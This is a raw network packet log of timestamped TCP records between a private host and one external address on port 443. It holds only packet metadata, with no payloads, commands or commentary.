Nov 25, 2024 13:41:13.525568962 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.525593042 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.525626898 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.525645018 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.525712013 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.525754929 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.567357063 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.603825092 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.604003906 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.604038000 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.604088068 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.604099989 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.604132891 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.604135036 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.604156017 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.604156017 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.604192972 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.604355097 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.604376078 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.604418039 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.604468107 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.604523897 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.604585886 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.604623079 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.613276958 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.613348007 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.613473892 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.613487005 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.613555908 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.613672018 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.613759995 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.613801003 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.645246029 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.645263910 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.645397902 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.645396948 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.645461082 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.645502090 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.645714998 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.645734072 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.645756960 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.645812988 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.645845890 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.645869970 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.645883083 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.645930052 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.645978928 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.645984888 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.687335014 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.727650881 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.727790117 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.728267908 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.728373051 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.728403091 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.728427887 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.728435993 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.728446960 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.728460073 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.728632927 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.728827953 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.728841066 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.728862047 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.728926897 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.728955030 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.728991985 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.729047060 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.729049921 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.729063988 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.729079008 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.729087114 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.729101896 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.729119062 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.729142904 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.729146004 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.729231119 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.729244947 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.729248047 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.729259014 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.729289055 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.729307890 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.729398012 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.729407072 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.729423046 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.729464054 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.729491949 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.729526997 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.731107950 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.731164932 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.731270075 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.731291056 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.731411934 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.768852949 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.768871069 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.769020081 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.769066095 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.769113064 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.769282103 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.769387007 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.769438982 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.815342903 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.815500021 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.815833092 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.815973997 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.816102028 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:13.851867914 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.851948977 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.852066040 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.858869076 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:13.875757933 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:17.712706089 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:17.712832928 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:17.712846041 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:17.712884903 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:17.713422060 CET	49983	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:17.713435888 CET	443	49983	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:17.839066029 CET	49998	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:17.839127064 CET	443	49998	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:17.839199066 CET	49998	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:17.839472055 CET	49998	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:17.839488983 CET	443	49998	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:19.296879053 CET	443	49998	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:19.297013044 CET	49998	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:19.297564983 CET	49998	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:19.297570944 CET	443	49998	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:19.297797918 CET	49998	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:19.297804117 CET	443	49998	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:19.297960043 CET	49998	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:19.297966957 CET	443	49998	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:20.218034983 CET	443	49998	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:20.218131065 CET	443	49998	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:20.218135118 CET	49998	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:20.218180895 CET	49998	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:20.218477964 CET	49998	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:20.218498945 CET	443	49998	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:21.884382963 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:21.884435892 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:21.884521961 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:21.884794950 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:21.884814024 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.329291105 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.329421997 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.330005884 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.330013990 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.330234051 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.330240011 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.330497026 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.330518961 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.330569029 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.330575943 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.330626011 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.330638885 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.330717087 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.330730915 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.330751896 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.330766916 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.330826998 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.330842972 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.330864906 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.330884933 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.330926895 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.330936909 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.330966949 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.330979109 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.331002951 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.331012964 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.331116915 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.331130981 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.331175089 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.331187963 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.331229925 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.331243038 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.331289053 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.331299067 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.331332922 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.331343889 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.331408024 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.331420898 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.331438065 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.331444025 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.331517935 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.331537008 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.331542969 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.331547022 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.331629992 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.331641912 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.331692934 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.331705093 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.331763029 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.331773996 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.331820965 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.331834078 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.331876993 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.331888914 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.331935883 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.331948996 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.331995010 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.332005024 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.332051039 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.332062006 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.332077980 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.332082033 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.332175970 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.332189083 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.332233906 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.332247019 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.332292080 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.332340956 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.332390070 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.332432985 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.332482100 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.379332066 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.381292105 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.381732941 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.381975889 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.382040977 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.382086039 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.382132053 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.423332930 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.423619032 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.423821926 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.423835039 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.423846960 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.423855066 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.467338085 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.467869043 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.467921019 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.467967033 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.468009949 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.468070030 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.511331081 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.511856079 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.512041092 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.512109995 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.512149096 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.512295961 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.512351990 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.555332899 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.555612087 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.555680037 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.555744886 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.555882931 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.555993080 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.572412968 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.572860956 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.572887897 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.572896004 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.573179007 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.573242903 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.573297977 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.573338985 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.573390007 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.615329981 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.615597963 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.615724087 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.615814924 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.615844011 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.616132975 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.616199970 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.663340092 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.663697004 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.663729906 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.663805962 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.663861990 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.663932085 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.696398020 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.696664095 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.696677923 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.696825981 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.697004080 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.697062016 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.697101116 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.697149038 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.697192907 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.739368916 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.739736080 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.739814997 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.739855051 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.739897013 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.740124941 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.740194082 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.783351898 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.783771038 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.783849955 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.783909082 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.783976078 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.784050941 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.817768097 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.817853928 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.817970037 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.818022966 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.818043947 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.818144083 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.818269968 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.818454981 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.818500042 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.818547010 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.818593025 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.819677114 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.819787025 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.819855928 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.819870949 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.819914103 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.819964886 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.820027113 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.820060015 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.820204973 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.820278883 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.863657951 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.863827944 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.864511967 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.864533901 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.864546061 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.864564896 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.864630938 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.864692926 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.864749908 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.864789009 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.864934921 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.865000010 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.865015030 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.865035057 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.865109921 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.911335945 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.911672115 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.911869049 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.911886930 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.911900997 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.940150023 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.940232992 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.940355062 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.940424919 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.940457106 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.940630913 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.940679073 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.941884995 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.941901922 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.942028046 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.942047119 CET	443	50007	149.154.167.220	192.168.2.6
Nov 25, 2024 13:41:23.942173958 CET	50007	443	192.168.2.6	149.154.167.220
Nov 25, 2024 13:41:23.942325115 CET	50007	443	192.168.2.6	149.154.167.220
